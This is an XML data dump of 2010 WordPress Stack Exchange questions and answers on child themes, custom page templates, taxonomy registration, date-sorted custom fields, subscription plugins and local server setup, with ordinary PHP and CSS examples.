  <row Id="671" PostTypeId="2" ParentId="662" CreationDate="2010-08-21T04:06:00.433" Score="1" ViewCount="" Body="&lt;p&gt;I have searched fairly extensively, and have not found such a plugin.  The best recommendation I could make is to use the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-file-monitor/&quot; rel=&quot;nofollow&quot;&gt;WordPress File Monitor&lt;/a&gt; plugin.  This will at least let you know when a new plugin is installed. Really, you should be using it regardless - it's a great plugin to use as part of an overall security strategy.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-08-21T04:06:00.433" CommentCount="1" />
  <row Id="672" PostTypeId="2" ParentId="456" CreationDate="2010-08-21T04:10:04.283" Score="0" ViewCount="" Body="&lt;p&gt;Turns out I was wrong, Genesis does support using the &lt;code&gt;page_posttype.php&lt;/code&gt; method of creating a custom template.  It turned out to be very simple.  Here's the contents of my page_members.php file (located in the child theme folder):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Template Name: Members&#xA;*/&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;remove_action('genesis_loop', 'genesis_do_loop');&#xA;add_action('genesis_loop', 'custom_loop');&#xA;function custom_loop() {&#xA;&#xA;    global $paged;&#xA;    $args = array('post_type' =&amp;gt; 'members');&#xA;&#xA;    genesis_custom_loop( $args );&#xA;&#xA;}&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php genesis(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="49" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2010-08-22T20:20:45.620" LastActivityDate="2010-08-22T20:20:45.620" />
  <row Id="673" PostTypeId="2" ParentId="665" CreationDate="2010-08-21T10:50:22.793" Score="10" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@mac9416:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What &lt;em&gt;@EAMann&lt;/em&gt; said, with a caveat. Eric is right about the general approach and how the functions &lt;code&gt;bloginfo()&lt;/code&gt; and &lt;code&gt;get_bloginfo()&lt;/code&gt; work and about how to pass the parameter &lt;code&gt;'template_directory'&lt;/code&gt; to get the value you need for (most) themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there is a caveat and that &lt;strong&gt;caveat&lt;/strong&gt; is with the newer &lt;strong&gt;&lt;em&gt;Child Themes&lt;/em&gt;&lt;/strong&gt;. If you are using a child theme then &lt;code&gt;'template_directory'&lt;/code&gt; is probably not what you want unless you are actually trying to refer to an image that is in the parent theme directory. Instead for child themes what you probably want is to pass &lt;code&gt;stylesheet_directory&lt;/code&gt; (I know, I know, the names don't tell you what they are but hey, that's just the way it is!) Borrowing somewhat from Eric's reply using &lt;code&gt;stylesheet_directory&lt;/code&gt; would look like this (I shortened the example so it would not wrap):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('stylesheet_directory'); ?&amp;gt;/images/header.jpg&quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To illustrate the point I wrote a quick standalone file you can drop in your website's root as &lt;code&gt;test.php&lt;/code&gt; and run to see what it outputs. First run with a regular theme like TwentyTen then run with a child theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;* test.php - Test the difference between Regular and Child Themes&#xA;*&#xA;*/&#xA;&#xA;include &quot;wp-load.php&quot;;&#xA;&#xA;$bloginfo_params = array(&#xA;    'admin_email',&#xA;    'atom_url',&#xA;    'charset',&#xA;    'comments_atom_url',&#xA;    'comments_rss2_url',&#xA;    'description',&#xA;    'home',&#xA;    'html_type',&#xA;    'language',&#xA;    'name',&#xA;    'pingback_url',&#xA;    'rdf_url',&#xA;    'rss2_url',&#xA;    'rss_url',&#xA;    'siteurl',&#xA;    'stylesheet_directory',&#xA;    'stylesheet_url',&#xA;    'template_directory',&#xA;    'template_url',&#xA;    'text_direction',&#xA;    'url',&#xA;    'version',&#xA;    'wpurl',&#xA;);&#xA;&#xA;echo '&amp;lt;table border=&quot;1&quot;&amp;gt;';&#xA;foreach($bloginfo_params as $param) {&#xA;    $info = get_bloginfo($param);&#xA;    echo &quot;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;{$param}:&amp;lt;/th&amp;gt;&amp;lt;td&amp;gt;{$info}&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;}&#xA;echo '&amp;lt;/table&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you notice things you might notice that there's a lot more to what you can pass to &lt;code&gt;bloginfo()&lt;/code&gt; and &lt;code&gt;get_bloginfo()&lt;/code&gt;; study the code and the screenshot below for ideas. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the screenshot you can see that &lt;code&gt;stylesheet_directory&lt;/code&gt; returns the same thing as  &lt;code&gt;'template_directory'&lt;/code&gt; for a regular theme but a different value, and probably the value you need for a child theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100821-062658.png&quot; alt=&quot;The return values of get_bloginfo() with and without a Child Theme in WordPress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For clarity on this screenshot,&#xA;  &lt;code&gt;wp30.dev&lt;/code&gt; is a domain that runs only&#xA;  on my local computer. It is currently&#xA;  an instance of WordPress 3.0.1 and it&#xA;  is configured at &lt;code&gt;127.0.0.1&lt;/code&gt; (same as&#xA;  &lt;code&gt;localhost&lt;/code&gt;) on my laptop and I use it&#xA;  for testing ad-hoc examples like this.&#xA;  I used &lt;a href=&quot;http://clickontyler.com/virtualhostx/&quot; rel=&quot;nofollow&quot;&gt;VirtualHostX&lt;/a&gt; as a convenience on the Mac OS X to help me set up those private non-routable &lt;code&gt;.dev&lt;/code&gt; domains but anyone can do it manually by&#xA;  editing the computer's hosts file and the &#xA;  ? httpd.conf file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By the way, in case you are not familiar with &lt;strong&gt;&lt;em&gt;Child Themes&lt;/em&gt;&lt;/strong&gt; where are two other WordPress Answers that might help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/462/making-the-header-on-the-twenty-ten-theme-less-tall&quot;&gt;Making the Header on the Twenty Ten Theme Less Tall?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/290/customizing-a-wordpress-theme-without-changing-it&quot;&gt;Customizing a WordPress Theme without Changing it?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-21T10:50:22.793" CommentCount="1" />
  <row Id="674" PostTypeId="2" ParentId="290" CreationDate="2010-08-21T10:53:52.553" Score="1" ViewCount="" Body="&lt;p&gt;If all you want to change is a little css, you can create a custom css file inside the theme directory.  Include your custom css file in the theme's header, and write new declarations in the custom css file only, thereby overwriting the theme's default css declarations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Default stylesheet&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body{background:white;width: 960px;margin: 25px auto;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Custom stylesheet&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body{width:800px;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your browser will make separate http calls for the two stylesheets and apply styles in the order they are listed.  Whatever declarations are made last will overwrite declarations made before them.  So make sure to include your custom stylesheet after any other stylesheets are included in header.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are going to end up changing template files like archive.php, or page.php, MikeSchinkel's answer will let you update your theme if a new version is released, without loosing your modifications.  But if all you want is to change some css, This method will work well.  Just make sure that you save your custom stylesheet before updating the theme directory.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2010-08-21T10:53:52.553" CommentCount="1" />
  <row Id="675" PostTypeId="1" CreationDate="2010-08-21T11:00:21.140" Score="1" ViewCount="513" Body="&lt;p&gt;Whenever I update an older blog post with new information then it is visible to all readers that visit the site itself. Readers of the RSS feed don't get the update and miss the new information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm searching for a plugin which issues back the post to the RSS-feed as if it was a new post (with an &lt;code&gt;[Update]&lt;/code&gt; put after the post title). However it should not be a new RSS post whenever I just did a minor change (like correcting spelling). It would be ideal if it asks me whether this was a minor change whenever I edit a post. &lt;/p&gt;&#xA;" OwnerUserId="339" LastActivityDate="2010-09-28T09:06:37.927" Title="Post update RSS notification plugin" Tags="&lt;plugin-recommendation&gt;&lt;posts&gt;" AnswerCount="7" CommentCount="2" FavoriteCount="3" />
  <row Id="676" PostTypeId="1" AcceptedAnswerId="678" CreationDate="2010-08-21T11:41:12.737" Score="1" ViewCount="249" Body="&lt;p&gt;How to give &quot;Interesting Tags&quot; &quot;Ignored Tags&quot; selection option like stackoverflow.com in a wordpress blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a blog is about lots of topics and I want to give option to user to choose option like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Interesting Tags&quot; and &quot;Ignored Tags&quot; option of stackoverflow.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to give that facility? Is there any plugin?&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-21T19:43:01.787" LastActivityDate="2011-04-18T06:08:42.077" Title="Adding &quot;Interesting Tags&quot; &amp; &quot;Ignored Tags&quot; like StackOverflow.com in a WordPress Blog?" Tags="&lt;3.0&gt;&lt;wp-admin&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" />
  <row Id="677" PostTypeId="1" AcceptedAnswerId="686" CreationDate="2010-08-21T16:29:27.513" Score="0" ViewCount="388" Body="&lt;p&gt;I wish to have a &quot;subscribe to new posts&quot; widget for my blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can use feedburner system, but I want a plugin based solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best I could find was &lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe2/&quot; rel=&quot;nofollow&quot;&gt;Subscribe2&lt;/a&gt;, the downside of it is that you can't have it send full HTML e-mails for subscribers who are not registered users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any alternative plugin, or solution that can do this (maybe a work around based on the GPL subscribe2 plugin?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s: the solution need to work with WP 3.  So the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/subscribe2-for-social-privacy/&quot; rel=&quot;nofollow&quot;&gt;Subscribe2 for Social Privacy&lt;/a&gt;, that is supporting up to WP 2.6, is not a good answer.&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-22T08:39:19.667" LastActivityDate="2010-08-22T23:03:24.043" Title="Plugin for Sending Email to Readers about New Posts? (besides &quot;Subscribe2 &quot;)" Tags="&lt;plugins&gt;&lt;email&gt;&lt;subscription&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="678" PostTypeId="2" ParentId="676" CreationDate="2010-08-21T18:43:47.227" Score="3" ViewCount="" Body="&lt;p&gt;SO does not hide the posts (AFAIK), it just highlights or unhighlights them. And I am sure they are basically using CSS classes for that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From (very) quick look at the source, they basically use tags as CSS classes and then load a unique-to-you javascript that adds styles to entries with those classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You basically would need to generate a visitor specific CSS or Javascript which you generate based on the tags. Plus user interface to select/unselect those tags (I don't like the one SO uses). Plus extending WordPress user model to store those preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not a big project, but a medium size one.&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2010-08-21T18:43:47.227" CommentCount="2" />
  <row Id="679" PostTypeId="2" ParentId="617" CreationDate="2010-08-21T19:24:23.887" Score="1" ViewCount="" Body="&lt;p&gt;One thing that helps me (especially when working on multiple client themes) is using a WordPress Multisite install on my dev server.  That way, I can have as many open jobs as needed, and not worry about client A seeing client B's theme.  Couple this with a comprehensive package of sample content that I load up each time I create a new site, and you've got an awesome dev system.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2010-08-21T19:24:23.887" CommunityOwnedDate="2010-08-21T19:24:23.887" />
  <row Id="680" PostTypeId="2" ParentId="456" CreationDate="2010-08-21T19:36:08.417" Score="0" ViewCount="" Body="&lt;p&gt;This template needs to go into the child theme folder, though, not Genesis.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2010-08-21T19:36:08.417" CommentCount="1" />
  <row Id="683" PostTypeId="2" ParentId="668" CreationDate="2010-08-21T22:11:43.163" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Fully Supported Admin Themes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress admin themes are currently only partially supported. Although it is possible to change the look of the admin by changing the CSS files, it is not possible to change the HTML without changing the core source code of Wordpress. This is the reason why there isn't a lot of Wordpress admin themes out there right now and the ones that do exist rely only in applying a different CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to apply a themeforest skin for example a developer would need to perform changes on the HTML, otherwise he could not apply all the provided CSS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I think the best admin theme out there is this one but I think you would agree much better can be done:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/fluency-admin/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/fluency-admin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;br/&gt;&#xA;Nuno&lt;/p&gt;&#xA;" OwnerUserId="345" LastActivityDate="2010-08-21T22:11:43.163" CommunityOwnedDate="2010-08-21T22:11:43.163" CommentCount="2" />
  <row Id="685" PostTypeId="1" CreationDate="2010-08-22T02:40:38.547" Score="0" ViewCount="173" Body="&lt;p&gt;Is there a way to store a custom field value as a datetime so it can be used to order by?&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-22T08:38:16.937" LastActivityDate="2010-08-22T08:38:16.937" Title="Storing a DateTime Value in a Sortable Custom Field?" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="686" PostTypeId="2" ParentId="677" CreationDate="2010-08-22T03:23:55.623" Score="4" ViewCount="" Body="&lt;p&gt;The best WordPress plugin for email subscriptions to your blog without using third party services like Feedburner is the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-responder-email-autoresponder-and-newsletter-plugin/&quot; rel=&quot;nofollow&quot;&gt;WP Responder Email Newsletter and Autoresponder Plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-22T03:23:55.623" />
  <row Id="687" PostTypeId="1" AcceptedAnswerId="694" CreationDate="2010-08-22T04:24:54.100" Score="2" ViewCount="80" Body="&lt;p&gt;I'm developing a WordPress site on my Mac, running OS X 10.6.4. I'm using OS X's built-in Apache server to run the site locally during development. I've set up WordPress and connected it to OS X's MySQL with no problems. The site seems to work fine, and I can post, edit, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The WordPress installation is in a folder called &lt;code&gt;~/Sites/mysite.dev&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also customized my &lt;code&gt;.hosts&lt;/code&gt; file and Apache's &lt;code&gt;httpd-vhosts.conf&lt;/code&gt; file, to redirect requests for mysite.dev to this folder. So when I enter &lt;code&gt;http://mysite.dev&lt;/code&gt; in a browser window, the site loads. No problems here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I can access the site, in a browser, from two different addresses, &lt;code&gt;http://mysite.dev&lt;/code&gt;, and &lt;code&gt;http://localhost/~Gabe/mysite.dev/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what's weird: When I go to &lt;code&gt;http://mysite.dev&lt;/code&gt;, the WordPress site loads normally. When I go to &lt;code&gt;http://localhost/~Gabe/mysite.dev/&lt;/code&gt;, WordPress can't find any posts from the database: It gives me the &quot;Sorry, no posts met your criteria&quot; message (which is built into the theme for when a search for posts returns nothing). N.B.: Apache processes the PHP code normally in both cases -- but in one case WordPress can get posts from MySQL, and in the other case it can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was that this was a problem with WordPress's configuration, so I changed the WordPress URL to &lt;code&gt;http://localhost/~Gabe/mysite.dev/&lt;/code&gt;, but this made no difference. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand why using the two addresses produces different results. Any help appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Here's why I care, in case you're wondering: I want to preview the site in BBEdit's web preview window, and BBEdit will only load the site via the &lt;code&gt;http://localhost/~Gabe/mysite.dev/&lt;/code&gt; address.)&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2010-08-22T13:41:52.573" Title="Why does WordPress get posts from MySQL from a virtual hostname but not the direct hostname?" Tags="&lt;server&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="689" PostTypeId="1" CreationDate="2010-08-22T04:46:18.857" Score="9" ViewCount="1367" Body="&lt;p&gt;The question is &quot;&lt;strong&gt;&lt;em&gt;How do I add one or more fields to the Category, Tag and Custom Taxonomy Edit Screen in the WordPress Admin?&lt;/em&gt;&lt;/strong&gt;&quot; This question was &lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-August/033671.html&quot; rel=&quot;nofollow&quot;&gt;asked on the wp-hackers list&lt;/a&gt; August 1st 2010 and &lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-August/033673.html&quot; rel=&quot;nofollow&quot;&gt;I offered a solution&lt;/a&gt; later that day. The &lt;a href=&quot;http://lists.automattic.com/pipermail/wp-hackers/2010-August/034195.html&quot; rel=&quot;nofollow&quot;&gt;original asker discussed the issue again&lt;/a&gt; today (Aug 21) which reminded me of the solution. Since it could be a common need I decided to post the solution including code up here for others to find in the future.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-03-04T06:02:55.057" Title="Adding Fields to the Category, Tag and Custom Taxonomy Edit Screen in the WordPress Admin?" Tags="&lt;wp-admin&gt;&lt;custom-field&gt;&lt;categories&gt;&lt;taxonomy&gt;&lt;tags&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="6" />
  <row Id="690" PostTypeId="2" ParentId="685" CreationDate="2010-08-22T06:12:21.287" Score="1" ViewCount="" Body="&lt;p&gt;Yes, you can use &lt;a href=&quot;http://docs.jquery.com/UI/Datepicker&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;jQuery DatePicker&lt;/strong&gt;&lt;/a&gt; and save the date, and use &lt;code&gt;query_post&lt;/code&gt; to show the postS in order (code &lt;a href=&quot;http://gist.github.com/323514&quot; rel=&quot;nofollow&quot;&gt;also on github&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//The Query&#xA;// exactly than&#xA;query_posts('meta_key=start_date&amp;amp;meta_value='.date(&quot;Y-m-d&quot;));&#xA;// or&#xA;// dates less than&#xA;// query_posts('meta_key=start_date&amp;amp;meta_compare=&amp;lt;=&amp;amp;meta_value='.date(&quot;Y-m-d&quot;));&#xA;// or&#xA;// date mayor than&#xA;// query_posts('meta_key=start_date&amp;amp;meta_compare=&amp;gt;=&amp;amp;meta_value='.date(&quot;Y-m-d&quot;));&#xA;&#xA;//The Loop&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA; echo the_title();&#xA; echo &quot;&amp;lt;br /&amp;gt;&quot;;&#xA;endwhile; else:&#xA;endif;&#xA;&#xA;//Reset Query&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="357" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-22T08:36:47.503" LastActivityDate="2010-08-22T08:36:47.503" CommentCount="1" />
  <row Id="691" PostTypeId="1" AcceptedAnswerId="692" CreationDate="2010-08-22T06:37:56.010" Score="8" ViewCount="741" Body="&lt;p&gt;The question is &lt;strong&gt;&lt;em&gt;&quot;What is the Difference Between Hierarchical and Non-Hierarchical Taxonomies?&quot;&lt;/em&gt;&lt;/strong&gt; This question really stumped me at first so I figured it would be a good idea to show the difference to others surfing the site looking for the distinction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically the question is referring to the &lt;code&gt;hierarchical&lt;/code&gt; argument passed to the &lt;code&gt;register_taxonomy()&lt;/code&gt; function. More specifically, what's the difference between this:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;'hierarchical'    =&gt; false&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy('movie-genre', 'movie', array(&#xA;  'hierarchical'    =&amp;gt; false,&#xA;  'label'           =&amp;gt; 'Genre',&#xA;  'query_var'       =&amp;gt; 'movie-genre',&#xA;  'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'genres' ),&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;'hierarchical'    =&gt; true&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy('movie-genre', 'movie', array(&#xA;  'hierarchical'    =&amp;gt; true,&#xA;  'label'           =&amp;gt; 'Genre',&#xA;  'query_var'       =&amp;gt; 'movie-genre',&#xA;  'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'genres' ),&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note I'm going to go ahead and answer my own question but won't mark it as best unless nobody else steps up with a really good answer too. Also my gut feeling tells me I might not have capture every distinction between the two dichotomies so if not please let us know what I missed.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-22T06:51:31.660" LastActivityDate="2011-01-18T20:29:29.607" Title="The Difference Between Hierarchical and Non-Hierarchical Taxonomies?" Tags="&lt;taxonomy&gt;&lt;tags&gt;&lt;hierarchical&gt;" AnswerCount="1" FavoriteCount="4" />
  <row Id="692" PostTypeId="2" ParentId="691" CreationDate="2010-08-22T06:42:03.287" Score="12" ViewCount="" Body="&lt;p&gt;The &lt;strong&gt;simple answer&lt;/strong&gt; is that &lt;em&gt;terms in hierarchical taxonomies can have &lt;strong&gt;child terms&lt;/em&gt;&lt;/strong&gt;. But what else? &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;'hierarchical'=&gt;false&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When you specify a &lt;code&gt;'hierarchical'=&amp;gt;false&lt;/code&gt; you get the following type of metabox which is the metabox format WordPress also uses for &lt;em&gt;Post Tags&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100822-020749.png&quot; alt=&quot;Taxonomy Term Metabox in the Post Edit Screen when $hierarchical==false&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;'hierarchical'=&gt;true&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;However when you specify &lt;code&gt;'hierarchical'=&amp;gt;true&lt;/code&gt; you get the following type of metabox which is the metabox format WordPress also uses for &lt;em&gt;Categories&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100822-022011.png&quot; alt=&quot;Taxonomy Term Metabox in the Post Edit Screen when $hierarchical==true&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the example above also points out where hierarchical categorization can be a bit of a mixed bag because in real life subcategories often apply to many parent categories. Even so alowing &lt;em&gt;&quot;many parents&quot;&lt;/em&gt; is not how hierarchical taxonomies works in WordPress but IMO categorizing anything perfectly is almost impossible &lt;em&gt;regardless&lt;/em&gt; of how WordPress works. So &lt;em&gt;Caveat Emptor!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;On Custom Taxonomy Registration, or &lt;em&gt;&quot;Why Won't it Save?&quot;&lt;/em&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While not directly related to the question if you are a newbie trying out custom taxonomies, (&lt;em&gt;or an experienced dev who isn't paying attention like happened to me when I wrote this up!&lt;/em&gt;) it's likely that you'll try adding &lt;code&gt;register_taxonomy()&lt;/code&gt; like the code you see in the question directly into your theme's &lt;code&gt;functions.php&lt;/code&gt; file. Oops!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do add the code directly into &lt;code&gt;functions.php&lt;/code&gt; your metabox will display but it won't save your newly added terms (and in the &lt;code&gt;'heirarchical'=&amp;gt;true&lt;/code&gt; form of the metabox your existing terms won't load with checkboxes.) That's because you need to register custom taxonomies (and custom post types) inside an &lt;code&gt;init&lt;/code&gt; hook, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('init','register_movie_genre_taxonomy');&#xA;  function register_movie_genre_taxonomy() {&#xA;    register_taxonomy('movie-genre', 'movie', array(&#xA;      'hierarchical'    =&amp;gt; true,&#xA;      'label'           =&amp;gt; 'Movie Genre',&#xA;      'query_var'       =&amp;gt; 'movie-genre',&#xA;      'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'genres' ),&#xA;    ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-22T06:42:03.287" CommentCount="1" />
  <row Id="693" PostTypeId="1" AcceptedAnswerId="697" CreationDate="2010-08-22T13:09:39.893" Score="0" ViewCount="130" Body="&lt;p&gt;I want two images to appear side-by-side. However, WordPress inserts a line-break between the  elements, even if I use the HTML editor rather than the Visual editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the editor trust that if I don't insert a line-break, I don't want it?&lt;/p&gt;&#xA;" OwnerUserId="62" LastEditorUserId="62" LastEditorDisplayName="" LastEditDate="2010-08-22T13:19:06.613" LastActivityDate="2010-12-27T13:16:51.107" Title="How can I make the page editor trust me?" Tags="&lt;html&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="694" PostTypeId="2" ParentId="687" CreationDate="2010-08-22T13:41:52.573" Score="1" ViewCount="" Body="&lt;p&gt;I was able to solve this problem—it turns out that WordPress behaves better when I set both the WordPress address and the site address to &lt;a href=&quot;http://localhost/~Gabe/mysite.dev/&quot; rel=&quot;nofollow&quot;&gt;http://localhost/~Gabe/mysite.dev/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2010-08-22T13:41:52.573" CommentCount="2" />
  <row Id="695" PostTypeId="1" AcceptedAnswerId="696" CreationDate="2010-08-22T13:44:21.133" Score="2" ViewCount="374" Body="&lt;p&gt;I'd like to cause a plugin to restrict its loading of CSS stylesheets and JavaScript JS files to only those pages for which they are needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example for my question is the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7&lt;/a&gt; which I've used to create a form in one page on my site (the &quot;&lt;a href=&quot;http://www.r-statistics.com/contact-me/&quot; rel=&quot;nofollow&quot;&gt;contact me&lt;/a&gt;&quot; page). However it adds the following lines to EVERY page/post on the website:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel='stylesheet' id='contact-form-7-css'  href='http://www.r-statistics.com/wp-content/plugins/contact-form-7/styles.css?ver=2.3.1' type='text/css' media='all' /&amp;gt; &#xA;&#xA;&amp;lt;script type='text/javascript' src='http://www.r-statistics.com/wp-content/plugins/contact-form-7/scripts.js?ver=2.3.1'&amp;gt;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This makes me suspect that this plugin is impairing my site's loading time, for an extension that interests me on only one page on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thus, my question is how can I remove these extra lines from all the pages except for the &quot;Contact Me&quot; page but without deactivating the plugin?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-22T17:07:37.930" LastActivityDate="2010-08-22T17:07:37.930" Title="Restricting a Plugin to Only Load its CSS and JS on Selected Pages?" Tags="&lt;plugins&gt;&lt;server&gt;&lt;performance&gt;&lt;css&gt;&lt;server-load&gt;" AnswerCount="1" FavoriteCount="3" />
